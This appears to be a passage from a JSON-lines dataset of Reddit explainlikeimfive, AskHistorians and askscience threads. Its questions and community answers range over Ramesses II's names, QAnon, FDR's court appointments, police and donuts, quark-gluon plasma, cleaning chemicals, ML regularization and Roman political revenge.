*nswty-bity*, \"he of the sedge and bee,\" again marking control over Upper and Lower Egypt.\n\n+ The Nomen or birth name, also enclosed in a cartouche. This name was marked by the Egyptian phrase *sA R'*, \"son of Ra.\" \n\nVexingly, the names of a king often varied from one monument to the next. *Handbuch der \u00c4gyptischen K\u00f6nigsnamen* by J\u00fcrgen von Beckerath (pp. 153-157) lists no fewer than 26 variants of the Horus name, 9 variants of the Nebty name, 9 variants of the Golden Horus name, 15 variants of the Praenomen, and 20 variants of the Nomen for Ramesses II. \n\nVariants aside, the most frequently attested names for Ramesses II are his Praenomen *wsr-ma'at-r'-stp-n-r'* (\"The ma'at of Ra is powerful, the chosen one of Ra\") and his Nomen *R'-ms-sw-mry-Imn* (\"Ra bore him, beloved of Amun\"). \n\nThe Praenomen of Ramesses II was preserved through history. In the 1st century BCE, the Greek historian Diodorus Siculus wrote about a statue of Ramesses II that stood at the Ramesseum in Thebes in [Book I, chapter 47](_URL_0_) of his *Bibliotheca historica*. \n\n > Ten stades from the first tombs, he says, in which, according to tradition, are buried the concubines of Zeus, stands a monument of the king known as Osymandyas. At its entrance there is a pylon, constructed of variegated stone, two plethra in breadth and forty-five cubits high; passing through this one enters a rectangular peristyle, built of stone, four plethra long on each side; it is supported, in place of pillars, by monolithic figures sixteen cubits high, wrought in the ancient manner as to shape; and the entire ceiling, which is two fathoms wide, consists of a single stone, which is highly decorated with stars on a blue field. Beyond this peristyle there is yet another entrance and pylon, in every respect like the one mentioned before, save that it is more richly wrought with every manner of relief; beside the entrance are three statues, each of a single block of black stone from Syene, of which one, that is seated, is the largest of any in Egypt, the foot measuring over seven cubits, while the other two at the knees of this, the one on the right and the other on the left, daughter and mother respectively, are smaller than the one first mentioned. And it is not merely for its size that this work merits approbation, but it is also marvellous by reason of its artistic quality and excellent because of the nature of the stone, since in a block of so great a size there is not a single crack or blemish to be seen. The inscription upon it runs: \"King of Kings am I, Osymandyas. If anyone would know how great I am and where I lie, let him surpass one of my works.\" There is also another statue of his mother standing alone, a monolith twenty cubits high, and it has three diadems on its head, signifying that she was both daughter and wife and mother of a king.\n\nFamously, Percy Shelley and Horace Smith wrote sonnets inspired by this account (\"Ozymandias\" and \"On A Stupendous Leg of Granite, Discovered Standing by Itself in the Deserts of Egypt, with the Inscription Inserted Below\", respectively). Both were published 1818, slightly before Champollion published his *Pr\u00e9cis du syst\u00e8me hi\u00e9roglyphique des anciens \u00c9gyptiens* in 1824 that included a decipherment of the titulary of Ramesses II. \n\nThe Nomen of Ramesses II was preserved through the Hebrew Bible/Old Testament. Exodus 12:37 mentions Ramesses as a city, presumably Per-Ramesses (\"House of Ramesses\"), the capital of Ramesses II constructed in the Delta.\n\n > 33 The Egyptians urged the people to hasten their departure from the land, for they said, \u201cWe shall all be dead.\u201d 34 So the people took their dough before it was leavened, with their kneading bowls wrapped up in their cloaks on their shoulders. 35 The Israelites had done as Moses told them; they had asked the Egyptians for jewelry of silver and gold, and for clothing, 36 and the Lord had given the people favor in the sight of the Egyptians, so that they let them have what they asked. And so they plundered the Egyptians. 37 The Israelites journeyed from Rameses to Succoth, about six hundred thousand men on foot, besides children.  \n\nAs does Numbers 33:3-5:\n > 1 These are the stages by which the Israelites went out of the land of Egypt in military formation under the leadership of Moses and Aaron. 2 Moses wrote down their starting points, stage by stage, by command of the Lord; and these are their stages according to their starting places. 3 They set out from Rameses in the first month, on the fifteenth day of the first month; on the day after the passover the Israelites went out boldly in the sight of all the Egyptians, 4 while the Egyptians were burying all their firstborn, whom the Lord had struck down among them. The Lord executed judgments even against their gods. 5 So the Israelites set out from Rameses, and camped at Succoth.\n\nIn the story of Joseph, Genesis 47:11 refers to a portion of Egypt as the \"land of Ramesses.\"  \n\n > 11 Joseph settled his father and his brothers, and granted them a holding in the land of Egypt, in the best part of the land, in the land of Rameses, as Pharaoh had instructed. 12 And Joseph provided his father, his brothers, and all his father\u2019s household with food, according to the number of their dependents.\n\nIn short, no, neither the Praenomen nor Nomen of Ramesses II can be said to have been lost for 1000 years, even though historical knowledge of the king was pretty hazy. An understanding of the full titulary of the king, including the many variants, came only with the decipherment of hieroglyphs, however."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Diodorus_Siculus/1C*.html"]]}
{"q_id": "95caqc", "title": "what is qanon and why are it\u2019s/their supporters at the president\u2019s rallies?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/95caqc/eli5_what_is_qanon_and_why_are_itstheir/", "answers": {"a_id": ["e3rkjgz", "e3rknvp", "e3s0wxl"], "score": [6, 4, 4], "text": ["So on 4chan and 8chan there is a guy who occasionally pops up by the name of Q, and because everyone ends up being referred to as an \"anon\" by the rest of the users of the various boards, he's known as QAnon. The name is also in reference to a Q-level security clearance, which is a very high-level clearance within the Department of Energy.\n\nAnyway, QAnon has been posting conspiracy theories and broadly claiming that Clinton and Obama are planning a coup against Trump, (falsely) claiming various democratic politicians or staffers were involved in the murder of Seth Rich, or other such things.\n\nQAnon himself is probably just trolling because it's trivially easy to push /pol/'s buttons.", "QAnon is a series of conspiracy theories put out by someone calling himself \"Q.\"\n\nQ claims to be someone in the Trump administration who has a Q-level security clearance. (I think that's a real security clearance in the Dept. of Energy.) \n\nQ believes the Obamas and the Clintons and Soros were part of a pedophile ring, that sort of thing.\n\nHere's an introduction from GQ:\n\n_URL_0_", "Just to add to what others have said, they're at Trump rallies because they're 100% Trump supporters. It's a conspiracy theory designed to either rally or parody Trump supporters, but in either case it's exclusively the domain of Trump's base. The conspiracy is everything they desperately want to believe is true -- that Trump is actually playing 372-dimensional chess, that Mueller isn't after Trump at all, and that Obama/Hillary/Soros/etc. will all be in jail soon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.gq.com/story/what-the-hell-is-qanon"], []]}
{"q_id": "1agy95", "title": "How did President FDR successfully pack the Supreme Court?", "selftext": "I've Googled this, but all that comes up is stuff about how the Judicial Reform Bill of 1937 failed to pass, which doesn't really answer the question as to how he did ultimately turn the court from conservative to liberal?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1agy95/how_did_president_fdr_successfully_pack_the/", "answers": {"a_id": ["c8xc2ci", "c8xldhz"], "score": [5, 3], "text": ["While his attempt to increase the total number of justices failed, he served for so long that he was able appoint 9 justices while President.", "Google \"the switch in time that saved nine.\" Apology for not giving more detail, I just have to run. But short version: in the early years,  five conservative justices blocked FDR's New Deal programs; frustrated, FDR aggressively attacked the Court and proposed adding enough new justices to the Court to void the five conservatives; this plan was technically Constitutional but very controversial; a major showdown was averted when one of the conservative justices stopped voting to block New Deal programs; ultimately, FDR never did stack the Court, but he served so long that we was able to replace all of the conservative Justices before he himself died in office in 1945."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "69sdl6", "title": "why are cops associated with liking donuts?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/69sdl6/eli5_why_are_cops_associated_with_liking_donuts/", "answers": {"a_id": ["dh8zige", "dh8zjyy", "dh8zr9x", "dh90fep", "dh91jup", "dh937lo", "dh94d89", "dh95p2x", "dh978ma", "dh97907", "dh98ubw", "dh9cm9f", "dh9cn54", "dh9ljht", "dh9nz4s", "dh9pf4w", "dh9q7hy", "dh9rkgi", "dhaep71"], "score": [552, 11, 3, 80, 44, 348, 8, 8, 4, 917, 4, 2, 2, 4, 16, 2, 3, 3, 5], "text": ["Because for cops working the late night shifts they didn't have many options to go get a coffee and a snack as most places were closed at the hours they worked. Meanwhile doughnut shops were open so they became a frequent stop for cops to get some food and a cup of Joe. Since more places are open at later hours now they have more options but the association with doughnuts stuck.\n\nAlso doughnuts are quick so they could grab something and get back to work relatively quickly compared to late diners.", "Police work all hours of day and night and will want to take a break and a snack from time to time, but even on break they still need to be able to respond to a call if needed. In the past pretty much the only snack places open in the middle of the night were donut shops.\n\nSource: _URL_0_", "A few decades ago, let's say around the 1950's until the 90's (when we started to see Starbucks, McCafe), not many places stayed open late where cops could get a cup of coffee and a bite to eat. Donut shops and diners stayed open. Therefore, not unusual to see cops at a donut shop late at night getting coffee and donuts to go.\n\nedit: [Little article with some fun facts.](_URL_0_)", "* Found along with coffee\n* Easy to eat on the go\n* Call be left in car for hours and still be tasty\n* Available many times of day ", "A lot of cash businesses like conviencance stores, donut shops, and fast food chains offer free products to cops to entice them into coming often. It's cheaper than a security guard.", "Historically, before 24 hour convenience stores and the like, donut shops were the first places to open, since they had to get to work before everyone else, so people could get coffee and donuts before work. When officers were working the night shift, from 10pm till ~4am, nothing was open. At 4am, officers would meet up at the first place open, which was the donut shops for food and drink.", "And stuff like this:   \n\n_URL_0_", "[Today I Found Out](_URL_0_) explains it perfectly. ", "Police officers often have to work graveyard shifts where they go out on patrols late at night and early in the morning. This would usually mean that near the end of their patrol they would be looking to eat breakfast.\n\nTwenty to thirty years ago the only restaurants that served food at that time  were doughnut shops so people saw police officers always eating doughnuts because that was the only kind of food cops could find.\n\nNowadays they have plenty of other options with 24 hour fast food places and the like, but before these cropped up, cops could only really get doughnuts.", "Here's a video explaining it in pretty good detail:\n\n_URL_0_\n\nBasically because Cops have to work long hours, such as nightshifts, and need to be able to respond at a moment's notice. As such there's not a lot of options for a quick bite to eat in the middle of the night. They also provide a place to sit down and take a quick break (or fill out paperwork in a place that's not the front seat of your patrol car) and you can take the doughnuts with you.\n\nFunny story, when I was super young we went on a field trip to the local police station. As we were walking along the mezzanine above the staff break room I saw a box of doughnuts and a coffee machine on the table. Without thinking a blurted out \"IT'S TRUE! THEY DO LIKE DOUGHNUTS!\" causing the whole building to erupt in laughter and my mom (who was the chaperone) to go completely red.", "Besides the hours doughnut shops are open, they are a meeting place to talk to coworkers instead of sitting alone in their cars. Also bathrooms ", "Realisticaly everybody likes donuts. But most peoples profession cant be identified by their vehicle.", "Too much of cop existence is long periods of tedium punctuated with brief moments of very intense activity. During the tedium they use coffee to stay alert. Donuts go with coffee, so...", "I'm a cop. Come from a family line of cops. I've had it explained to me that it is historically accurate.  Back in the day, think post ww2 era, the only things that tended to be open 24/7 were truck route diners and pastry shops.  Specifically, dunkin donuts.  Night shift cops would congregate at dunkin donuts and drink coffee / eat pastry.  ", "When I worked in a convenience store in the 1980s, we were the only place that was open 24 hours in our town, so all the cops would hang out there at night.   \n\nOur company liked having law enforcement hang out there at night, because it kept trouble away. So, we offered four things to uniformed police officers: pop, popcorn, coffee, and donuts.   \n\nRather than eating a big bag of popcorn all night, the cops would take us up on the free coffee and donuts. So, if you came through my town in the middle of the night and saw a cop not in their car, they were probably in our store drinking coffee and eating donuts.", "a family member used to run a small diner in the middle of the city. This was about 40 years ago. being in the middle of a city, there was a fairly high crime rate. After getting robbed a couple times he got pretty clever. he started to give police officers free coffee and donuts, along with discounts on other menu items. \n\nThis sort of courteosy towards police officers meant that there was always a couple police officers in his cafe. The diner was safer than other businesses in the area.\n\nCops love donuts, and it's mututally beneficial to the coffeeshops. win-win.", "The story I heard was that in the 70s-80s Dunkin' Donuts locations were having trouble being robbed repeatedly. So then DD decided to implement a policy that police officers ate free to increase police presence at their locations. The robberies went down by a significant percentage. Other donut places followed suit. So then people got the idea cops were just at donut joints because they liked donuts. \n\n...now you know the rest of the sorry. Good day!", "Funny story. I was a fed ex driver delivering a package to a councilmans office at the county courthouse. The box had a stack of blank cds in it. As it went through the x ray one of the cops on duty said \"looks like donuts\" to which i responded \"well, i imagine everything looks like donuts to y'all. One cop laughed his ass off but the other looked like he was gonna taze me.", "I'm a cop and I like donuts, but no more than anyone else I would say.  I think the comment by /u/CrazyKiahl is closest to being right, it does have a lot to do with the shift work and unhealthy choices for food over night.  I also believe it is in correlation with coffee, cops like to stop at Tim Horton's or in the U.S. I guess Dunkin Donuts for a cup of java and the main food item they sell at these establishments is donuts.  The public also loves to thank us cops by bringing in donuts.  One time this little girl and her family brought us vegetable and fruit tray it was amazing and thoughtful the guys were totally happy for once we weren't tempted by those little delicious jelly demons."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.todayifoundout.com/index.php/2013/09/started-cops-eating-donuts-stereotype/"], ["http://www.todayifoundout.com/index.php/2013/09/started-cops-eating-donuts-stereotype/"], [], [], [], ["www.chron.com/news/strange-weird/amp/Cop-pilot-land-helicopter-to-get-doughnuts-2056414.php"], ["https://www.youtube.com/watch?v=CW39sZY1PX0"], [], ["https://www.youtube.com/watch?v=CW39sZY1PX0"], [], [], [], [], [], [], [], [], []]}
{"q_id": "3aihq9", "title": "What kind of temperatures would be necessary for heat to rip atoms apart into solely fundamental particles?", "selftext": "I tried to search for an answer on google but could not find any. As I have not read the physics needed to do these kind of calculations myself I ask you, reddit. The reason why I want to know this is pure curiosity. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3aihq9/what_kind_of_temperatures_would_be_necessary_for/", "answers": {"a_id": ["cscxrw1", "csczkld"], "score": [310, 30], "text": ["This is called the [Hagedorn temperature](_URL_0_). This is roughly in the trillions of degrees, and can be reached in particle colliders like the LHC, where they collide lead nuclei together with so much energy that they dissociate into a quark-gluon plasma.", "Measure temperature in units where the Boltzmann constant k_B = 1. Then energy and temperature have the same units. I'm gonna use the eV as the unit of energy. To convert back to temperature, divide by k_B.\n\nAssume the baryon density is fixed and typical for normal matter, say that of rock.\n\nAt around T = 10 eV, atoms are ionized into nuclei and electrons. At a much higher temperature of some MeV, nuclei decompose into a gas of protons and neutrons, and weak interactions become important. \n\nWhen T reaches the mass of the lightest hadron (the pion) around 150 MeV things start to get freaky. This is the Hagedorn temperature and you find a phase transition from hadronic matter to quar-gluon plasma, which is composed pictorially by quarks, gluons, and other stuff such as photons and leptons.\n\nAs you reach the GeV scale the colour force gets significantly weaker, until it finally becomes very small (asymptotic freedom). You get a gas of approximately free quarks and gluons and the aforementioned degrees of freedom."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Hagedorn_temperature"], []]}
{"q_id": "8aof8h", "title": "how are hostel rates able to stay about the same all over the world?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8aof8h/eli5how_are_hostel_rates_able_to_stay_about_the/", "answers": {"a_id": ["dx0abuo"], "score": [3], "text": ["They're definitely not the same around the world. A hostel in Bolivia can run as low as $5, while a hostel in Asia may run even cheaper. Africa has reasonable rates while Europe has much higher prices."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5rj67q", "title": "when cleaning, when should you use ammonia? when should you use alcohol? when should you use bleach?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5rj67q/eli5_when_cleaning_when_should_you_use_ammonia/", "answers": {"a_id": ["dd82ps0", "dd84nnf", "dd87ucf", "dd8lry2"], "score": [84, 8, 3, 2], "text": ["Aqueous ammonia (ammonium hydroxide) is excellent at breaking up organic deposits such as grease, oils, mildew, mould, soap scum, etc... It's a staple in glass, mirror, and window cleaners.\n\nAlcohol is a powerful disinfectant and organic solvent. Although it can be used as a household cleaning solution, it's not commonly used as such. Rubbing alcohol can be used to disinfect and clean things like needles, knives, jewelry, electronic contacts, etc.. It's more aggressive at breaking up deposits than aqueous ammonia but it's also harsher and more expensive. Rubbing alcohol is also flammable and evaporates quickly. As such, it's not a very ideal surface cleaner. However, it can be used to clean areas which cannot normally be washed or rinsed, such as cleaning spilled soda out from between the keys on a keyboard, where leaving little to no residue is desirable.\n\nRubbing alcohol is outstanding at cleaning finished metal such as stainless steel and chrome because it easily removes fingerprints and oily deposits. It's also great at removing marker and crayon from painted walls and restoring whiteboards.\n\nChlorine bleach is an extremely powerful and extremely cheap disinfectant. It's not a cleaner; it's used to kill virtually everything microbial in nature.", "Bleach is a disinfectant and should only be applied after the surfaces have already been cleaned.\n\nEg: to clean a bathroom floor, first you go over and putty knife any large sticky objects, then sweep it, then mop with soap and hot water.  Then mop it with bleach and water and leave the floor to air dry for about 15 mins.\n\nAlcohol, due do it's lack of surface tension, is great for creeping into narrow gaps and edges because it just creeps its way into tight spaces.  I keep it in a spray bottle to disinfect food stuff, like wine and beer making supplies.\n\nAmmonia is great on glass, but I mostly use white vinegar, either picking (7%) or cleaning (10%) over the standard 5% for food.", "_URL_0_\n\nThis will answer all your questions, great film from Applied Science, very understandable", "I don't know about ammonia, but use alcohol when you want to party and use bleach when you finish"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://youtu.be/HiL6uPNlqRw"], []]}
{"q_id": "8hyqff", "title": "why does the human body seem super resilient yet incredibly fragile at the same time?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8hyqff/eli5_why_does_the_human_body_seem_super_resilient/", "answers": {"a_id": ["dynper8", "dyntbpv", "dynurnv", "dyo1qt8"], "score": [96, 5, 34, 8], "text": ["It's a bias (don't know the specific one though), you only hear about/remember the guy who stubbed his toe and died, or the one getting shot a bunch of times and survived. \"Girl stubs toe, nothing happens\" or \"Shooting victim predictably dies from wounds\" don't make memorable stories. ", "People are kind of like cars, highly specialized tools that with maintenance and luck can reliably run almost forever but as with any highly specialized and complex machine a lot factors and conditions have to be just right for us.", "My guess would be that the body isn\u2019t simply fragile or simple resilient. It\u2019s withstands certain circumstances well, and others terribly. E.g. you can fall down the stairs. Minor mistake right? Depending on how you fall you can break your neck. Maybe just break a limb. Maybe not get injured at all. All are very different outcomes of (seemingly) slightly different cases. Overall, I\u2019d say that the body is so complex that it\u2019s hard to simply place it as resilient or weak.", "Physical damage isn't really that much of a problem as long as it doesn't hit anything vital. Even if your arm gets chopped off the rest of your body can still function, biologically speaking.\n\nVital is the key word there. If someone gets shot 22 times and the only thing damaged is bones, muscles and cartilage, that's not something that modern medicine is exactly struggling with. Step on a rusty nail without being vaccinated against Tetanus and oops! Respiratory failure, heart attack and severe dehydration leading into a cascade of other health issues and then dead."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "fg85pp", "title": "regularization in ml", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fg85pp/eli5_regularization_in_ml/", "answers": {"a_id": ["fk38q8g"], "score": [2], "text": ["TL DR; A simple model will wrongly try to explain \"noise\" in the training data set with weirdly large coefficients on irrelevant features that should be closer to zero. Regularizing puts a penalty on coefficients that are far away from zero, forcing your model to accept that it can't explain everything.\n\n & #x200B;\n\nI took a college class on ML about a year ago. I wish I could be more specific, but I forgot the fine details. \n\nHowever, I think I can give you a little insight here:\n\n & #x200B;\n\nFirst, to clarify what you already seem to understand:\n\nWith a small training data set, or with a data set that contains a lot of \"noise\" (variation without known causes,) your model can give you very strange coefficients. These coefficients will try to account for all the noise using the available information.  This results in wrong coefficients that are trying to explain too much. \n\nImagine trying to accurately predict the price of a house using only the number of bathrooms and the square footage. Really, there are other factors that influence the price. But your model doesn't know about them! So it puts very strange coefficients on what it does know to try and explain the extra variation. Let's say there's one house in the dataset with 10 bathrooms and it also happens to cost 9 million dollars. Rather than accept a loss on this outlier, it can just put a coefficient on number-of-bathrooms-cubed that doesn't really affect the rest of the dataset much at all. It just fixes the line to include this one point. \n\nMost often, this process results in some positive coefficients being way higher than they should be, and others more negative than they should be. Some coefficients that should be 0 will have a significant absolute value. \n\nSo, your line does not look smooth because the coefficients are tailored to your specific data points, varying wildly, and they will not fit new data points very well. \n\n & #x200B;\n\nNow adding a penalty term can fix this, but you should look at WHAT that penalty term is. I tried to add a picture, but it was not allowed here. The penalty term takes the sum of each coefficient's square. This means that we care about the absolute value of each coefficient, and we especially care about it more as it gets farther from 0. \n\nEssentially we are saying to the model \"Are you sure that this metric is really worth THAT much?\" Are you sure that the number-of-bathrooms-cubed can account for $6,000,000 of a house's value? If it really does account for that much consistently, than the penalty term will be smaller than the loss from changing it, and it will remain. BUT - If the model has just done something clever with the data and decided upon a large coefficient just to fit in a couple more awkward data points that had unexplained variation.... Then suddenly the penalty becomes more costly than the loss. Now the model says it isn't worth it to pull these tricks. Coefficients that are far away from 0 must have a good reason to be! The farther away from 0, the better the reason needs to be."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4cv1c5", "title": "Hypothetically, what would happen if 130 Spanish ships invaded England, like, right now? The Spanish would win, right? Please respond.", "selftext": "I'm not an admiral, so I have no idea how successful this whole operation is going to be. Why did the King put me in charge again?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4cv1c5/hypothetically_what_would_happen_if_130_spanish/", "answers": {"a_id": ["d1lmy2i", "d1ln8py", "d1lplwj", "d1lppjx", "d1lpxqf", "d1lrj6g", "d1lt9qk", "d1ltfje", "d1lvrcs", "d1mb6wk"], "score": [222, 234, 82, 155, 52, 24, 32, 11, 15, 3], "text": ["130 ships! Where would the Spanish get 130 ships from? They didn't have 130 ships before the Yanks handed them their asses in 1898, and they've barely rebuilt since then. Even the ships they do have are no match for the Dover Patrol, let alone the Grand Fleet. They've only got one modern battleship, and practically no modern cruisers. Any Spanish admiral trying such a thing would be the acme of an ass!!", "I will admit, we Athenians have not launched a fleet of full 130 triremes since the fall of our Empire. I have myself commanded only fleets much smaller than that, constrained as we are by our financial situation. But the fact is that even in the days of Perikles and Alkibiades of the Alkmeonidai, such fleets rarely conquered large places, satisfying themselves mostly with raiding and attacking smaller settlements. After all, even 130 triremes will carry only about 1300 hoplites and 500 archers, unless they are accompanied by troop carriers and horse transports. How large is this place you call England?", "Medina Sidonia, this is your King and Emperor speaking.\n\nLet us be really clear here. The English under Mary Tudor basically [copied my Spanish ship designs.](_URL_0_) They originally wanted her to be married to me, but the English couldn't pay me enough dowry! So I had her marry my son instead. \n\nWhy is it that every damn good thing I did is either wasted or misused by allies-turned-heretics. Damn that Elizabeth. ", "Please, Don Medina Sidonia. You couldn't take on a single-island nation with 130 ships??? I took possession of an *entire continent* with merely 3 vessels. And I didn't even bring a map! \n\nWhen you realize your incompetence and need a *maestro* to teach you the true ways of conquest, have your people call my people. ", "Yes the Spanish shall win, for God the king of Heaven blesses them and sends them to chase the English out of ~~France~~England. Don't forget that your king Charles V is the rightful ruler of England.\n\nBut beware of fires. Fires are dangerous.", "Don Alonso, My Duke, fear thee not, for the King has put you in charge on good counsel. [I wrote a song](_URL_0_), dedicated to our wondrous Armada, for this special occasion.\n\n*Song: if slow you go, there I send you,*\n\n*in whole heaven I do trust*\n\n*that you shall change for happy news,*\n\n*the name of song and prophecy.*\n\nThe barbarous language of the English has, of course, butchered my verse. Nevertheless, go forth, and kill the impious, the heretics, the protestants. Santiago!", "*Excerpt from 6 hour speech*\n\nThey would fight you to the last and win. Indeed, our own Revolutionary soldiers would be sent to assist them in an act of internationalist solidarity. As Antonio Maceo once said, \u201cWhoever attempts to appropriate Cuba will reap only the dust of its soil drenched in blood, if he does not perish in the struggle\u201d. So it shall be for our English comrades who fight against the backwards empire of Spain!", "Your good friends at the Dutch weathergazing society foretell favourable winds for your return voyage, my lord! ", "Spain? You mean the crowns of Aragon or Castile? We should hope no true Christian monarch should launch such a cowardly assault while Our royal attention is focused on consolidating Our most righteous rule in France. Should the Castilians or Aragonese dare to set foot in England as foes, it would be but the work of a day to defeat their troops and send them back to their homeland. We led a force straight to the heart of France and overthrew their greatest captains in a single battle. We would be amused to see any of the monarchs of that peninsula, who have so far proven themselves incapable of fully expelling the Moors from Christian lands, attempt to challenge a royal English army in battle. Our illustrious grandfather, John of Lancaster, and his royal brother Edward Prince of Wales, [utterly annihilated](_URL_0_) the Castilians when they made a foolish alliance with the French. It would aggrieve Us mightily to be forced to spill so much Christian blood again. ", "Even if you land with 130 ships the enemy will pretend you came with 3000. Still, that doesn't seem like enough ships. Perhaps you should secure a nice base of operations closer to England. The winds can be treacherous. If you are short of men there are plenty of fine mercenaries that would be happy to assist you for a bit of coin. Keep in mind the English will need repeated demonstrations that they are conquered before settling down."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.reddit.com/r/AskHistorians/comments/37mpi4/how_did_naval_warfare_look_like_in_the_high_and/croaz5e"], [], [], ["http://www.cervantesvirtual.com/obra-visor/poesias-sueltas--2/html/ff991a96-82b1-11df-acc7-002185ce6064_11.html#I_22_"], [], [], ["https://en.wikipedia.org/wiki/Battle_of_N%C3%A1jera"], []]}
{"q_id": "1f66mf", "title": "Can you think of many historical heads of state who used their power for grand gestures of revenge just for past petty personal slights?", "selftext": "You ever been kicked out of a bar, or refused entry to a nightclub and thought \"one day I'll bye this place just to burn it down\"? Given that hereditary power has been the rule for much of history, I've always wondered if many people who would actually go through with that sort of thing have come into power?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1f66mf/can_you_think_of_many_historical_heads_of_state/", "answers": {"a_id": ["ca77bp6"], "score": [12], "text": ["Yes, actually! The first couple that come to mind are Sulla and Octavian (Augustus) Caesar. Caesar's is a little bit less interesting, so I'll cover that first before getting into the MEATY one. \n\nOctavian, though brilliant...well.....he was (as I said) a bit petty. His (adopted) father, Gaius Julius Caesar had a legion that became extraordinarily famous - the legendary **Legio X**, or Tenth Legion. It was involved in most of his battles, and almost always on the right flank of Caesar's army (The most prestigious.) They had the renown of the 101st Airborne, to put it in perspective - and the men in that legion were FIERCELY proud of that fact. They were the TENTH. They were the badasses of the badass! Well, as we all know, Caesar had a mild case of getting stabbed 52 times and decided to die from it, leaving a void of power that was filled with the **Second Triumvirate.** The power holders (this is incredibly condensed here, sorry) in that triad were Octavian (Later known as Augustus) Caesar and Marcus Antonius. Marcus Aemilius Lepidus was essentially just...there. He was meant to be a balance to the ambition of the other two, but he sorta got put in a corner with a little dunce cap and a ball and told to be quiet. \n\nSo, Marcus Antonius, against the advice of *pretty much everyone*, decides to invade Parthia for the sake of Rome's honour (they had completely annihiliated Crassus' invasion a few years back and had several of Rome's precious eagles in their possession. For a writeup of that invasion, I wrote one [here](_URL_1_) if you want to read!) For that invasion, he amassed a good number of legions, including the Tenth (He had the Tenth for quite a while before this, but that's messing with my story dammit!). And hey, guess what happens next! Two power hungry generals mass armies and glare daggers at each other...oh right, **civil war happened.** And hilariously enough, Antonius never really engaged Caesar on the ground. So, after Caesar won the civil war, the armies were reabsorbed into each oth- oh shit. Wait, Caesar's Legions had the same naaaames. So Caesar had a Legio X as well as Pompey. Pompey's Legio X was just older and had....fought against Caesar. So Caesar, petty man that he was, *disbanded and reformed the Tenth Legion.* To those guys, that was a HUGE deal, because...that was their dignity. That would be like your favourite sports team being forcibly disbanded and reformed and merged with new players....yeah, essentially he destroyed it and its reputation, all for the sake of showing them who's boss. He even changed their icon - from the bull to *Gemini.* \n\n---\n\nNext is SULLA. Those who've read my posts know that I have a thing about Sulla, cause he's just such an INTERESTING person! Though we're talking about his grand gestures of revenge here, so let's get down to that. I think my biggest trouble here might be in giving too MUCH backstory. I'll try to keep it concise. Ish.\n\nSo we have this Roman general named Gaius Marius. He's a pretty famous bloke, considering that he completely reformed the Roman Army and was a rather large part in the first of Rome's civil wars. However, he was also a really good politician - and like all good politicians, he took credit for all of the actions of his subordinates (If they were good, that is.) So there was a Numidian king that had been giving Rome trouble for some years - think guerilla warfare - aka Vietnam. Marius gets his first consulship by claiming he's going to bring this guy to Rome in chains - and yet, HE gets bogged down in North Africa, just like the rest of them. However, a crack team led by an enterprising young soldier by the name of **Cornelius Sulla** led a daring mission, infiltrated the Numidian camp and captured their king. For which our favourite politician here tried to take all the credit. Didn't quite work out - Sulla still got some credit - but was still a dick move. Next, Marius moved to fight off the Cimbri and the Teutons who were invading Northern Italy. Sulla as a *legatus* was one of the prime pillars of the Roman victory - and yet, he was again ignored, Marius getting a *triumph* with the incompetent general Catulus. \n\nSo, skipping forward a lot because I've already written a saga here, Sulla is a full general now. He's a pretty important guy, winning fame and glory and shiny objects. So there's a Greek king who decides to rebel - and his name is Mithradates. Sulla takes command of the Roman force to fight this Greek rebel...but while he's away, Marius has his comamnd revoked and passed to him (Marius.) Needless to say, this is like a middle finger, on top of everything else. So Sulla, being mildly pissed (maybe just a little) took six legions and **marched on Rome.** First time this was ever done, and obviously, it panicked the city, started a tradition of generals marching on Rome, etc etc. But let's skip forward in time again ;) \n\nSo Sulla wins his civil war and has the power of a *dictator* (that's what the office is called- he has ALL the power.) and he starts his policy of *[proscription.](_URL_0_)* (That's another writeup of mine - this one details what was proscription.) That was his first act with absolute power. Executing everyone who he didn't like. That's a grand gesture of revenge, doncha think? ;) Oh, you want petty? Well he also **broke into Gaius Marius' tomb and threw his bones into the river.** Which is pretty much the biggest insult you can POSSIBLY do to someone's memory.\n\nHope that helps! ;)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1ez8gy/how_powerful_was_the_first_triumvirate_what_made/ca5aeyw", "http://www.reddit.com/r/AskHistorians/comments/1dml4p/what_are_some_good_examples_of_commanders_who/c9ry2ls"]]}
